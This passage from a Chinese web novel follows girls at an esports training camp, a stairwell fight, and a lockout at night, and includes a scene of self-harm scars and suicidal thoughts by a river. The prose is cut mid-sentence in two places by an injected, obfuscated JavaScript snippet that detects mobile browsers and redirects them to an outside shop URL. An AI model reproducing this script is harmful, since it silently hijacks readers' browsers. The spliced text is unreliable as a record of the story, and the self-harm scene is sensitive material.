张菲菲情感充沛的“朗诵”完,转身望向沈长风和方既亭:“怎么样,牛不牛?帅不帅?厉不厉害?” “补充一句,大魔王说这个话的时候,没有这么激情澎湃,只是一次普通的访谈。”张雯雯适时地接了一句。 张菲菲直接忽略了姐姐的阴阳怪气,见到两人似乎都还有些懵,又一屁股坐在了自己的行李箱上,往前挪了几步。 “简单来说,就是从前的DOME职业联赛呀,虽说是不限男女,但是还是男的多,这又是个讲究团队合作的游戏,女孩子就很难融进去,所以职业赛场上的女选手总是很少。婷神想要改变这一现状,于是退役之后,就加入了职业联赛总部做运营。” “那个时候DOME还是有官方的女赛的,但是婷神觉得女赛会隐形地导致女性选手以一种看起来合理地方式被分配更少地资源,所以她主张并且主导了官方女赛地停办。” “那……那停办了,原本地女职业选手怎么办呢?”联想到自己的经历,方既亭忍不住问了一句。 “全部遣散呀。”张菲菲道。 “啊?”方既亭惊讶出声。 “可是哪怕是实力不够,这些选手们也是付出了很多东西的,难道就这样说散就散了吗?”沈长风忽然开口。 她用如此犀利的语气一下子说出这么一大段连贯的话,令方既亭和张菲菲都有些震惊,后者甚至一时忘了词一般,不知该怎么回答。 “当时也有很多人跟你说同样的话。”张雯雯不知什么时候也已经停下了动作,“我记得,那一年我们才初中,游戏群里都在骂她,说她不近人情,掀了别人饭碗,网上骂的就更难听了。” “对对。”张菲菲接了一句,“我记得当时还有很多人给联盟总部寄那种恶搞的锦旗,阴阳怪气,还有各种横幅什么的,就直接丢到楼外的空地上,要多难听有多难听。” “就是咱们现在所在的这个联盟大楼吗?”方既亭问。 “是呀。”张菲菲点头。 方既亭想象了一下那场景,忍不住倒吸了一口凉气。 “那然后呢?” “然后第二年,DOME官方就宣布了这个官方青训营,所有选手必须要通过官方青训营的考核才有资格注册成为职业选手,并且选拔方式十分简单粗暴,不管是自荐还是俱乐部推荐,都必须要靠自己的实力打进前十六,最后也会有公开面向大众的青训赛,所有人的实力都是有目共睹。”张雯雯接着道,“后来被爆出来,这也是婷神的提案,和取消女赛几乎是同一时期,只是执行有先有后。” “不过其实我也看不出什么差别,比赛嘛,只要打的精彩,其实性别并不重要。”张菲菲笑了笑,“要我说,官方女赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078983|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了就没了,反正那玩意儿也没什么人看,还不如像现在这样,多花点功夫在竞技环境的整顿上。虽说女职的数量比男职少,但咱们要的不是特权,而是公平不是吗?我俩就是因为看了前两届的青训公开赛,还有各个俱乐部的选人,才决定高考完来参加试试的。” 说着,她又有些不好意思的补了一句:“嗯……当然高考成绩也不太好就是了哈哈。” “喔……”方既亭有些呆呆地点了点头。 萧婷退役比颜十七还要早几年,那个时候她连字都还没认全,现下所有的一切在她看来都是本该如此,一时间,实在是难以想象张菲菲口中所说的“那个时候”是什么样子。 “我听说,她之所以那么激进,也是因为她从前在国外的时候,遭遇过队内的性别霸凌。”张菲菲又道,“不过具体我就不了解了。” “时间不早了,先收拾吧,等会儿一起去吃饭?”张雯雯已经将东西整理完,转身去帮自己的妹妹,同时提醒了一句,又向其余二人发出了邀请。 “好哇。” 方既亭欣然应下,沈长风经过方才那一番交流似乎也稍微放开了些,面不改色地答了一声“嗯”。 食堂十分宽敞,标准的三素一荤一汤,算不上丰盛,味道却很不错,大家陆陆续续的来,队伍看起来长,排起来倒也没有很久。 吃过饭后,先前加的通知群里便开始一个一个宿舍通知到五楼进行测试,测试大概十分钟,测完屏幕上会直接挑出成绩结算。 84分。 出门前,方既亭瞥了一眼墙壁上挂着的到目前为止前十名的成绩记录。从第二名到第名基本都在85到92之间大差不差,几个眼熟的ID,【径山】86.4分排在第五,目前世界排名第一的暗杀者【Crown】以92排在第二,而最惹眼的无疑是那个以满分的成绩排在榜首的ID【扶摇】。 方既亭没有听说过这个名字,也没有听说过与这个ID有关的任何相关信息与讨论。 如果是后面改了名,多少应该也有点消息,像现在这种情况,大概率是因为这个人在参加完青训之后并没有选择成为一名职业选手。 好可惜。 方既亭在心里谈了口气,双手插兜,一边在盘算着方才的测试题,一边低着头下楼,跟在她身后的沈长风忽然“啊”的惊叫了一声,将她吓了一跳。 还没来得及回头,就被人狠狠撞上后背,方既亭脚下一滑,整个人失力向下倒去,慌乱间她连忙抓住身旁的扶手,这才稳住了身形。 而沈长风却不如她这么幸运,整个人头朝下栽倒在了楼梯上,若非是方既亭的身体挡着,后果恐怕是不堪设想。 “没事吧?”方既亭惊魂甫定,左手还紧紧抓着栏杆不敢放松,右手扶着沈长风的肩膀帮助她抬起上半身。 “我……我……没事……” 大约是被吓到了,也摔疼了,沈长风面色惨白,说话磕磕绊绊,万幸并没有受伤。 “走路能不能看路啊,瞎吗?”一个声音自头顶传来,方既亭一抬头,看到一个少年捂着后脑勺,同样坐在台阶上,瞪着眼睛语气极冲。 “你什么意思,撞了人,不道歉,还理直气壮?” 劫后余生的后怕似乎都转变成怒火与怨气,方既亭站起来,提高声音质问道。 “你脑子是被驴踢了吗?看不见我们差点都滚下去了吗?” “叫叫叫,叫什么叫!”那少年满脸不耐烦,“我撞她了她没撞我吗!谁哭谁有理了是吗?我不也摔了吗?怎么的你俩是金子做的这么精贵?” “算……算了……我也有错……咱们……”沈长风拉了拉方既亭的袖子,声若蚊蝇。 “你要算就算你的,我不能就这么算了!”方既亭甩开她的手,两步走到那少年跟前。 “道歉!”她喝道。 “道个屁道!”那少年一手将方既亭挥开,骂了一声“傻逼”转身就要走。 “不许走!”方既亭一把抓住他手臂上的衣服。 “靠,你有病吧!有完没完了!”少年气急了,手臂用力一挥。 方既亭踉跄了两步差点摔倒,双手在地上一撑,站起来又扑了上去。那少年更是不甘示弱,两人竟就这样在楼梯上扭打在了一起。 沈长风被吓得面色惨白,整个人都缩在栏杆下一动也不敢动,其他人有胆子大的上前来拉架,也有人连忙跑去通知教练这边的情况。 率先赶到现场的依旧是萧婷,只见她面色阴沉,两步上前抓住二人的肩膀强硬的将他们分开,而后二话不说,拖着两人,一齐丢出了联盟的大门。 11. 报警吧 - 夜色深沉。 女孩站在江边,远远眺望对岸,高楼大厦鳞次栉比,璀璨的霓虹灯印在水面泛起波光粼粼。皎白的月光落在她的被汗水浸湿的白衬衫上,贴在后背的布料变得有些透明。 蒸笼一般的天气,哪怕是夜里,风中也满是粘腻的水汽。 两只手臂的袖管都被卷起到手肘处,露出略显纤细的小臂。手背一侧的皮肤白皙细腻,内侧却竟是从中段开始到手腕,一道一道,布满了横向整齐排列着的,深浅不一,长短不接的疮疤。 最新的两道分别在左右臂最靠近手腕的位置,鲜血自新劈开的皮肉间渗出,顺着突起的动脉流到掌心,指尖,最后滴入河畔的湿泥,不见踪迹。 已经是晚上十一点了,不远处的跨江大桥上依旧车来车往,凌乱的喇叭声混着车流隔了一大片风传进耳朵里,全部都变成了父亲嘴巴里那些尖锐又恶狠狠地斥骂。 “恶心!” “垃圾!” “看看你自己现在的样子,你不觉得自己很恶心吗?” “你怎么能这么不要脸?你到底能干什么啊?” “我养你这么大,供你吃供你穿,怎么就养出你这么个白眼狼?” 可是自己又做错了什么呢? 右云闭上眼。 她只是考不到一张证书,而已。 再多的努力都满足不了他的虚荣与欲望,苦难锻炼而成的人格与能力因为一次简单的失败就被全盘否定。日复一日地吼叫与恨铁不成钢地控诉,到现在,就连身体上的痛感都变得麻木,不再管用,她已经筋疲力尽。 她没有力气再将那些声音,那些看垃圾一样的表情从脑子里抹去。 “嗡。” 低下头,江面上映出自己凌乱的长发,满面泪痕,一身狼狈。 “嗡。” 如果就这样结束的话,大概就不会再痛苦了吧。 “嗡嗡,嗡。” 闭上眼,右云开始想象自己跳入水中之后的触感。她大概只能憋30秒的气,在坚持不住后,冰冷的湖水会灌进肺里,鼻腔疼痛,而后她大概也还是会处于本能而拼了命地挣扎。 “嗡,嗡。” 痛苦会持续多久呢?多久会失去意识? 十几秒?还是会有几分钟? 如果到时候后悔的话,拼命挣扎,还会有一线生机吗…… “嗡,嗡。” “嗡。” …… 好烦。 有完没完了。 右云咬牙切齿地睁开眼,口袋里的手机隔着一层薄薄的布料震得腿皮肤又痒又麻,她沉默了一会儿,深吸了一口气,从口袋里掏出皱巴巴地餐巾纸,胡乱擦了擦手上的血,而后拿出了手机。 果不其然,又是“火锅大队”的群里在狂刷消息。 点开,首先跳出来的是三个五颜六色的大字。 【蒙面虾滑】:报警吧。 什么鬼。 右云皱眉,将聊天记录向上翻,没一会儿,就找到了那个浇灭了她好不容易鼓足的勇气的“罪魁祸首”。 【AAA双刀批发小方】:(猫猫大哭) 【牛筋丸有话要说】:? 【甜不辣说它不辣】:? 【海带小姐】:怎么了小宝? 【AAA双刀批发小方】:军训被教官扔出宿舍了,弱小可怜又无助(猫猫大哭) 【蒙面虾滑】:哈?你干什么了? 【AAA双刀批发小方】:我跟一个同学打架了。 【牛筋丸有话要说】:告老师! 【甜不辣说它不辣】:社会我方姐。 【AAA双刀批发小方】:是他先打我的! 【甜不辣说它不辣】:那现在怎么办? 【海带小姐】:你出去找个酒店住一晚呗,总不能就这样在外面呆一整晚吧? 【AAA双刀批发小方】:但是我没有带身份证。 【蒙面虾滑】:你该不会是打到一半就被你们教官提着后脖颈子丢出来了吧? 【牛筋丸有话要说】:她是人,不是猫。 …… 【AAA双刀批发小方】:差不多就这意思吧。 【AAA双刀批发小方】:我现在还是得回去,但我不知道怎么回去(猫猫大哭) 【甜不辣说它不辣】:翻窗试试呗。 【AAA双刀批发小方】:太高了我够不着,而且大楼外面也没有窗台。 【牛筋丸有话要说】:可以顺着下水管道爬上去。 【甜不辣说它不辣】:或者看看有没有那种排风管,好像也能爬进去。 【海带小姐】:你俩有病吧?演电影呢? …… 【蒙面虾滑】:报警吧。 “报警会不会……太,太夸张了点?” 方既亭抱着双腿蹲坐在大门外花坛边的石阶上,下半张脸都蒙在膝盖下,手机屏幕散发出的光投射在她的脸上,额角不知什么时候层破的地方还留着没有完全干透的血迹。 已近零点,八月盛夏,夜凉依旧。 方既亭去做测试的时候穿的是短袖,就这样直接被丢了出来。打架时候的亢奋褪去,汗水被风一吹,连带着浑身的血都冷了下来, 她又将头往下埋地深了些,尽可能将自己缩成一团。 一片黑影忽然当头而下,盖住了她的脑袋,也在瞬间挡住了她视线。 “什么玩意儿?”方既亭下意识的用手一扒拉,定睛一看,才发现那竟是一件黑色的薄外套。 一双白球鞋……现在大概也已经不能称之为白了。鞋面上沾满了深浅不一的黑印,看得出来,在它的主人穿着它干架前,它应该还是一双特地为今天准备的新鞋。 方既亭抬起头,看到那少年双手插在裤兜里,站在她身前不远,胸口轻微起伏,目光中满是焦躁。 他的身上同样挂了彩,嘴角微微肿起,手肘和手臂都有明显的擦伤,伤口周围还分布着明显的脏污。 “你干……” “你都缩成这样了,还逞个屁强!” “谁说我……” “我刚刚去大门口找了保安,那个傻……不是……唉……”少年有些烦躁地抬起手,“啪”地给了自己一巴掌。 这一巴掌可谓是扎扎实实,毫不手软,方既亭原本还想再说些什么,被这极其响亮声响吓得卡了壳。 “那个保安说没有工作人员的允许,他不能给我们开门。”少年说着,重重叹了口气,“现在怎么办?总得想办法回去啊,不然明天早上指不定直接让我们收拾东西滚蛋了。” “我怎么知道?说得好像回去了明天就不用滚蛋一样。”方既亭撇了撇嘴,“谁让你走路不长眼睛还不道歉。” “你是不是有什么毛病?”少年上前两步,声音又提高了几分,“你那个好姐妹,她一边走路一边看手机,突然停在原地不动了,大家都是下楼,我用头躲?” “那你上来就骂人瞎是什么意思?你不会好好说话?” “我一着急管得了那么多?”少年道,“再说了我骂你了吗?我没骂你你上赶着找骂干什么?” “你那好姐妹都知道心虚说算了,你非要冲上来。那你们关系那么好,你被赶出来怎么没见她想办法帮帮你啊?” “……” 方既亭不说话了。 别说帮忙,从自己被赶出来到现在少说也有两个多小时了,沈长风甚至连一条信息都没有给自己发。 尽管这事儿确实是自己自作自受,但…… 她垂下头,新加的好友就在列表的第一页。 看着空空的聊天框,心里头总还是有些琐碎的失落。 “不……该不会……真的一条消息都没有吧?”少年原本只是口嗨,可见她面色不善,小心翼翼地开口问了句。 方既亭咬了咬下唇,刚想说什么,耳边传来清脆地一声“叮咚”,是“火锅大队”发来的消息。 【茶茶吃火锅】:绕着楼走一圈试试,找找消防通道。 【茶茶吃火锅】:正常宿舍都会有的。 方既亭愣了愣,而后“腾”地一下站了起来。 “你干嘛?”少年不明白她为什么突然这么大反应。 “消防通道。”方既亭道,“我们去找消防通道,说不定能进去。” “哦!有道理。” 那少年恍然大悟,快步跟上已经往前走了许多的方既亭。 两人绕着大楼走了大半圈,果然在楼后露天中庭边上的一个拐角里发现了一扇略有些隐蔽的玻璃门,门内绿色的逃生通道标识灯散发出微弱的光,照亮了最下方的两级台阶。 “我去,还真有!” 少年小声惊叹了一句,看着方既亭走上前去,伸手抓住门把,用力推了推门,却毫无动静。 “开不了?”少年问了一声,也走上前,方既亭自然而然地给他让开位置,看他捣鼓了半天,依旧无事发生。 “得,白搭。” 少年一屁股坐在了地上,手托着下巴重重叹了口气,小声嘟囔了一句,“还以为这地方能白吃几天饭,啥也不是……” 方既亭并没有在意他说了什么,她低着头皱着眉沉思片刻,还是什么办法都没想出来,只能再次打开手机。 【AAA双刀批发小方】:@茶茶吃火锅姐姐,我找到消防通道的门了,但是门是锁的还是进不去。(猫猫大哭) “火锅大队”已经刷过去了好多条消息,方既亭往上翻了翻,没有看到茶茶发的消息,已近零点,或许她已经睡了,也不知道自己的这一条她什么时候能看到。 可就算看到了又有什么用呢? 她叹了口气,茶茶总不可能飞过来帮自己开门。 正想着,右下角出现了新信息的提示,方既亭回到最下面,竟然是茶茶发来的消息。 【茶茶吃火锅】:是要用钥匙开的锁还是电子锁? 方既亭抬头看了眼左边墙壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078984|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那个看起来是需要输密码的机器,回了一句:是电子锁,好像要密码。 【茶茶吃火锅】:拍张照看看。 方既亭连忙举起手机,凑近了拍了一张发了过去。 【茶茶吃火锅】:这种机子一般需要刷卡,你们有没有校园卡之类的东西? 【AAA双刀批发小方】:没有欸,还没有发。 【茶茶吃火锅】:那有可能为了安全,外面开不了,里面可以开,你喊你室友过来帮你开门试试。 方既亭眼睛一亮,连忙回了一个“好”字,而后马不停蹄的点开沈长风的聊天框,给她发去了消息。 【努力的方小姐】:在吗,姐妹? 【努力的方小姐】:我在一楼的消防通道门外面,但是这个门好像只有里面能开,能不能麻烦你下来试试呀?(可爱) 【努力的方小姐】:晚点请你喝奶茶! 下午在宿舍光顾着聊天,做测试排队的时候才想起来加了沈长风的好友,然而张菲菲和张雯雯与她们不在一个房间,因此也就没有来得及加上。 方既亭等了一会儿,没有回复。 已经睡了么? 她咬了咬牙,点击了语音通话。 虽然吵醒他人有些不太好意思,但眼下并没有别的办法,也只能一试,晚些再赔礼道歉吧。 然而,拨号音响了足足四十秒,无人接听。 方既亭不死心,又打了一个,依旧是无人接听。 “怎么了?你给谁打电话?”那少年在一旁看着她一会儿拍照一会儿发消息一会儿又打电话忙活了许久,到现在终于忍不住开了口。 方既亭抿了抿嘴,这种时候向他求助在她看来多少有些丢面子,但…… “这门好像只能从里面打开,你能不能联系上人来开一下试试?”她问道。 “啊?哦。” 出乎意料的,少年没有再像之前那样阴阳怪气的挖苦自己,而是干脆的拿起手机。 “这个点可能都睡了,也不知道能不能有人……” 话音未落,电话就通了,少年下意识看了方既亭一眼,而后对电话那头的人简单讲了几句话,挂掉电话之后,对方既亭比了一个OK的手势。 就算没有这个手势,方既亭也能听得出来对方没有犹豫什么就答应了帮忙。 “你们之前就认识吗?”她忍不住问了一句。 “没有啊,下午刚加的好友,开个门而已又不是什么大事儿帮一帮也不为难吧。”少年似乎是看出了方既亭的失落,声音也变得比方才温和了许多。 方既亭没有再接话,尴尬而诡异的沉默没有持续多久,很快,门内传来脚步声,一个身影快速从楼梯上转下来,在门内找了找,按了个按钮,帮他们二人开了门。 “嚯!可算是进来了!”少年伸手拍了拍来人的肩膀,“谢啦,兄弟,等出去了哥请你抽好的!” “我不抽烟,谢谢。”那人看起来年纪也不大,说起话来斯斯文文,很有礼貌,“你头上的伤,需要处理一下吗?” 他转向方既亭,指了指自己的额头示意。 “谢谢,我自己回宿舍处理就好了。”方既亭客气的答了一句,又将衣服还给少年,道了声谢,一面给火锅大队报信,一面自顾自的往楼上走。 “害,不谢。”少年两步跟上,“但是咱们现在回去是回去了,明天还是被赶出来怎么办?” “明天再说吧。”方既亭没有回头,“事已至此,先睡觉吧。” “哦,也对。”少年看起来心情不错,嘿嘿笑了两声,“看不出来你还挺有文化的啊,还会用成语。” 方既亭脚步一顿,转过头目光复杂的将他上下打量了一遍,欲言又止。 微弱的应急灯光勉强照亮脚下的路,脚步声在这安静又逼仄的楼梯间里被无限放大。三人足下不停,很快到了女生宿舍所在的五楼,互相道了晚安,另两人继续向上走,方既亭则是独自推开门来到走廊,借着手机的手电筒和走廊尽头的窗外照进来的月光,摸黑找到了自己的宿舍。 敲门,无人应答。 没有办法,方既亭只好再次拿出手机,给沈长风打电话。 依旧无人接听,打到第三个的时候,撑了一整天的手机终于没电自动关机了。 最后一点光芒也忽然消失,方既亭盯着熄灭的屏幕看了一会儿,又抬起头,望向面前那道冰冷的门。 额头和手臂的疼在黑暗中变得越发强烈,不可忽视,不知为何,在那个瞬间,她只觉得眼前这扇门竟然比大楼的门更难叩开。 算了。 方既亭放下原本还准备继续敲门的手,转身背靠着墙壁坐下。 这个时间点可能是睡了,明天还要早起,第一天谁也不想迟到给教练留下坏印象。敲门声太小了,电话的话……手机调成静音,大约也听不见吧。 她叹了口气。 曲腿弓身将自己缩成一团,下巴抵着膝盖,闭上眼,困意袭来,很快就进入了梦乡。